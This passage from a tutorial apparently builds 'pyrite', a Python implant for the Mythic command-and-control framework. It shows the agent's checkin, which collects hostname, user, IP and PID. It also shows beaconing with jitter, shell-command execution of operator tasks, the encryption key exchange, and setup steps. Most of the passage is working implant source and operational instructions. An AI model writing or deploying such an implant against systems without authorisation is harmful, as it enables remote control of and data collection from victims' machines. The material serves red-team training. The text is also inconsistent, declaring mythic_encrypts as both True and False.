    cipher_rsa  = PKCS1_OAEP.new(rsa_key, hashAlgo=SHA1)
    session_key = cipher_rsa.decrypt(session_key_enc)
    SESSION_KEY = base64.b64encode(session_key).decode("utf-8")

    return temp_uuid, SESSION_KEY


def debug_startup() -> None:
    """Print stamped-in configuration at startup before any network activity."""
    print("\n" + "=" * 60)
    print("[DEBUG] PYRITE STARTUP CONFIGURATION")
    print("=" * 60)
    print(f"  Callback:       {BASE_URL}")
    print(f"  Payload UUID:   {PAYLOAD_UUID}")
    print(f"  Interval:       {CALLBACK_INTERVAL}s  Jitter: {CALLBACK_JITTER}%")
    print()
    if AESPSK and USE_EKE:
        print(f"  AESPSK:         {AESPSK[:20]}...")
        print(f"  USE_EKE:        True")
        print(f"  Crypto mode:    EKE — staging_rsa with AESPSK, then per-session key")
    elif AESPSK:
        print(f"  AESPSK:         {AESPSK[:20]}...")
        print(f"  USE_EKE:        False")
        print(f"  Crypto mode:    Static PSK — AESPSK for all traffic")
    else:
        print(f"  AESPSK:         (not set)")
        print(f"  USE_EKE:        False")
        print(f"  Crypto mode:    Plaintext — no encryption")
    print("=" * 60 + "\n", flush=True)


def do_checkin() -> str:
    """
    Perform the full checkin sequence and return the callbackUUID.

    USE_EKE=True  → staging_rsa (AESPSK) → SESSION_KEY → checkin with tempUUID
    USE_EKE=False, AESPSK set → static PSK checkin with PAYLOAD_UUID
    USE_EKE=False, no AESPSK  → plaintext checkin with PAYLOAD_UUID
    """
    arch = "x64" if sys.maxsize > 2**32 else "x86"
    try:
        user = os.getlogin()
    except Exception:
        user = os.environ.get("USER", os.environ.get("USERNAME", "unknown"))

    checkin_data = {
        "action":          "checkin",
        "ip":              get_ip(),
        "os":              platform.platform(),
        "user":            user,
        "host":            socket.gethostname(),
        "pid":             os.getpid(),
        "uuid":            PAYLOAD_UUID,
        "architecture":    arch,
        "domain":          "",
        "integrity_level": 2,
        "external_ip":     "",
        "encryption_key":  "",
        "decryption_key":  "",
    }

    if USE_EKE:
        print(f"[DEBUG] CHECKIN: EKE mode")
        print(f"[DEBUG]   Phase 1 — staging_rsa (AESPSK: {AESPSK[:16]}...)")
        temp_uuid, session_key = do_staging_rsa()
        print(f"[DEBUG]   staging_rsa OK — tempUUID: {temp_uuid}")
        print(f"[DEBUG]   SESSION_KEY: {session_key[:16]}... (negotiated, not in binary)")
        print(f"[DEBUG]   Phase 2 — checkin with tempUUID + SESSION_KEY")
        response = send_message(temp_uuid, checkin_data)
    elif AESPSK:
        print(f"[DEBUG] CHECKIN: Static PSK mode ({AESPSK[:16]}...)")
        response = send_message(PAYLOAD_UUID, checkin_data)
    else:
        print(f"[DEBUG] CHECKIN: Plaintext mode")
        response = send_message(PAYLOAD_UUID, checkin_data)

    if response.get("status") == "success":
        callback_uuid = response["id"]
        post_checkin_key = (
            "SESSION_KEY" if SESSION_KEY else
            "AESPSK"      if AESPSK else
            "plaintext"
        )
        print(f"[DEBUG] CHECKIN OK — callbackUUID: {callback_uuid}")
        print(f"[DEBUG]   Subsequent messages: {callback_uuid} + {post_checkin_key}", flush=True)
        return callback_uuid
    raise RuntimeError(f"Checkin failed: {response}")


# ─────────────────────────────────────────────────────────────────────────────
# Task Loop — Batched
# ─────────────────────────────────────────────────────────────────────────────

def queue_response(task_id: str, output: str,
                   completed: bool = True, status: str = "success") -> None:
    _pending_responses.append({
        "task_id":     task_id,
        "user_output": output,
        "completed":   completed,
        "status":      status,
    })


def queue_error(task_id: str, error_msg: str) -> None:
    queue_response(task_id, error_msg, completed=True,
                   status="error: " + error_msg)


def get_tasking() -> list:
    """
    Poll for tasks. Piggyback queued responses from the previous cycle
    in the same request (tasking_size: -1 returns all pending tasks).
    """
    global _pending_responses

    msg = {"action": "get_tasking", "tasking_size": -1}
    if _pending_responses:
        msg["responses"] = _pending_responses
        _pending_responses = []

    return send_message(CALLBACK_UUID, msg).get("tasks", [])


# ─────────────────────────────────────────────────────────────────────────────
# Command Dispatch
# ─────────────────────────────────────────────────────────────────────────────

# ##COMMAND_CODE_INSERT##

COMMAND_MAP = {
    "shell": execute_shell,
    "exit":  execute_exit,
}


def dispatch_task(task: dict) -> None:
    task_id    = task["id"]
    command    = task["command"]
    raw_params = task.get("parameters", "")

    try:
        parsed = json.loads(raw_params) if raw_params else {}
    except json.JSONDecodeError:
        queue_error(task_id, f"Failed to parse task parameters: {raw_params!r}")
        return

    handler = COMMAND_MAP.get(command)
    if handler is None:
        queue_error(task_id, f"Unknown command: {command}")
        return

    try:
        if command == "exit":
            queue_response(task_id, "Exiting.")
            if _pending_responses:
                send_message(CALLBACK_UUID, {
                    "action":    "post_response",
                    "responses": _pending_responses,
                })
            handler()
        else:
            queue_response(task_id, handler(parsed.get("command", "")))
    except Exception:
        queue_error(task_id, traceback.format_exc())


# ─────────────────────────────────────────────────────────────────────────────
# Sleep with Jitter
# ─────────────────────────────────────────────────────────────────────────────

def sleep_with_jitter(base_seconds: int, jitter_pct: int) -> None:
    jitter_range = base_seconds * (jitter_pct / 100.0)
    actual = base_seconds + random.uniform(-jitter_range, jitter_range)
    time.sleep(max(actual, 0.5))


# ─────────────────────────────────────────────────────────────────────────────
# Main Loop
# ─────────────────────────────────────────────────────────────────────────────

def main():
    global CALLBACK_UUID

    debug_startup()

    while True:
        try:
            CALLBACK_UUID = do_checkin()
            break
        except Exception as e:
            print(f"[ERROR] Checkin failed: {e}", flush=True)
            traceback.print_exc()
            time.sleep(CALLBACK_INTERVAL)

    while True:
        try:
            tasks = get_tasking()
            for task in tasks:
                dispatch_task(task)
        except Exception as e:
            print(f"[ERROR] Task loop: {e}", flush=True)
        sleep_with_jitter(CALLBACK_INTERVAL, CALLBACK_JITTER)


if __name__ == "__main__":
    main()

Key things to note about the agent template:

Tokens are unquoted for numeric values — CALLBACK_PORT = REPLACE_CALLBACK_PORT has no surrounding quotes. After substitution this becomes CALLBACK_PORT = 80 (an integer literal). Quoted numeric tokens produce strings that silently break URL construction and sleep arithmetic.

POST_URI = "/REPLACE_POST_URI" — The leading slash lives in the template. The builder strips any leading slash from the profile's post_uri value before substitution to avoid producing //data.

parameters is always a JSON string — Per the Mythic get_tasking docs, the parameters field in a task is always a JSON-encoded string of the args dict, e.g. '{"command": "whoami"}'. The agent must json.loads() it and extract by parameter name. The key "command" matches the CommandParameter(name="command", ...) defined in shell.py.

status field values in post_response — Per the Mythic post_response docs, status is a free-form string with the following UI behavior:

This is why post_error uses "error: " + error_msg rather than the bare string "error" — only the "error:" prefix triggers the red colorings. The user_output field holds the full error body displayed below the task; status is just the short label shown next to it.

10. Encryption Details

mythic_encrypts = True

This declaration tells Mythic that the agent implements encryption. The http C2 profile container forwards agent messages to Mythic as-is — it does not decrypt or re-encrypt them. Mythic's backend uses the AESPSK it stored at payload generation time to decrypt inbound messages using the outer UUID as a lookup key.

Wire format

# Encrypted (static PSK or EKE session key):
Base64( UUID(36) + IV(16) + AES-CBC(JSON) + HMAC-SHA256(IV + ciphertext) )

# Plaintext:
Base64( UUID(36) + JSON body )

AES details per the Mythic docs: CBC mode, PKCS7 padding block size 16, 16 random bytes IV per message, HMAC-SHA256 over (IV + ciphertext) appended at the end.

EKE flow

When USE_EKE = True (operator selected aes256_hmac + encrypted_exchange_check = true):

1. Agent generates 4096-bit RSA key pair in memory
2. Agent → Mythic: Base64( PayloadUUID + AES256(AESPSK,
                    {"action":"staging_rsa", "pub_key":"...", "session_id":"..."}) )
3. Mythic → Agent: Base64( PayloadUUID + AES256(AESPSK,
                    {"action":"staging_rsa", "uuid":"<tempUUID>",
                     "session_key":"<RSAPub(new_aes)>", "session_id":"..."}) )
4. Agent decrypts session_key with RSA private key → SESSION_KEY
5. Agent → Mythic: Base64( tempUUID + AES256(SESSION_KEY, checkin_data) )
6. Mythic → Agent: Base64( tempUUID + AES256(SESSION_KEY,
                    {"action":"checkin", "id":"<callbackUUID>", "status":"success"}) )
7. All future messages use callbackUUID + SESSION_KEY

The static AESPSK only protects the staging exchange. An attacker who extracts the binary can decrypt the staging messages (which only contain an RSA public key) but not any session traffic.

11. Installing and Testing

11.1 Start Mythic

git clone https://github.com/its-a-feature/Mythic
cd Mythic
make
sudo ./mythic-cli start

Navigate to https://localhost:7443 and log in with the credentials printed on first start.

11.2 Install the http Profile

sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http

11.3 Install pyrite

sudo ./mythic-cli install folder ./pyrite
sudo ./mythic-cli logs pyrite

You should see:

[*] Processing agent: pyrite
[*] Processing command shell
[+] Synced pyrite with Mythic

11.4 Generate a Payload

1. In the Mythic UI go to Payloads → Generate New Payload
2. Select pyrite, OS = Linux
3. Select the http C2 profile
4. Set callback_host to your Mythic server IP (e.g. http://192.168.1.10)
5. Click Create Payload and download the .py file

There is no AESPSK field because mythic_encrypts = False. This is intentional for Part 1.

11.5 Run the Agent

python3 pyrite_<uuid>.py

Within one sleep interval a callback will appear in the Callbacks tab. Click the terminal icon and run:

shell whoami
shell id
shell uname -a

12. Debugging Tips

Add this version of send_message() during development to print both the outgoing and incoming messages in decoded JSON form — this makes it easy to see exactly how messages are structured on the wire:

def send_message(uuid_str: str, payload: dict) -> dict:
    encoded  = encode_message(uuid_str, payload)
    raw_resp = http_post(POST_URI, encoded)
    result   = decode_message(raw_resp)

    # Pretty-print both sides so you can follow the message structure
    print(f"[DEBUG] SENT ({uuid_str[:8]}...):")
    print(json.dumps(payload, indent=2))
    print(f"[DEBUG] RECEIVED:")
    print(json.dumps(result, indent=2))
    print()

    return result

Example output for a checkin:

[DEBUG] SENT (4a1ad945...):
{
  "action": "checkin",
  "ip": "192.168.1.50",
  "os": "Linux-6.1.0-kali",
  "user": "kali",
  "host": "kali",
  "pid": 12345,
  "uuid": "4a1ad945-0e63-4d21-a899-20e97b81c9cb",
  "architecture": "x64",
  "domain": "",
  "integrity_level": 2,
  "external_ip": "",
  "encryption_key": "",
  "decryption_key": ""
}
[DEBUG] RECEIVED:
{
  "action": "checkin",
  "id": "b2f3c1d4-...",
  "status": "success"
}

Example output for a shell whoami task:

[DEBUG] SENT (b2f3c1d4...):
{
  "action": "get_tasking",
  "tasking_size": 1
}
[DEBUG] RECEIVED:
{
  "action": "get_tasking",
  "tasks": [
    {
      "command": "shell",
      "parameters": "{\"command\": \"whoami\"}",
      "id": "c3d4e5f6-...",
      "timestamp": 1700000000.0
    }
  ]
}

This makes it immediately visible that parameters is a JSON string (note the escaped quotes), confirming why dispatch_task calls json.loads() on it.

13. What We Built

• A Dockerised payload type container (pyrite) registered in Mythic
• A builder.py that reads the base agent template and stitches in command implementation files at build time, with proper build step reporting
• Server-side command definitions (agent_functions/shell.py, agent_functions/exit.py) that handle Mythic UI, argument parsing, and preprocessing
• Implant-side command implementations (agent_code/shell.py, agent_code/exit.py) that contain the actual execution logic running on the target
• A Python implant that performs checkin → get_tasking → post_response over HTTP in plaintext, with an exit command that can be triggered from the Mythic UI

In Part 2 we'll switch to the httpx profile and add kill date support.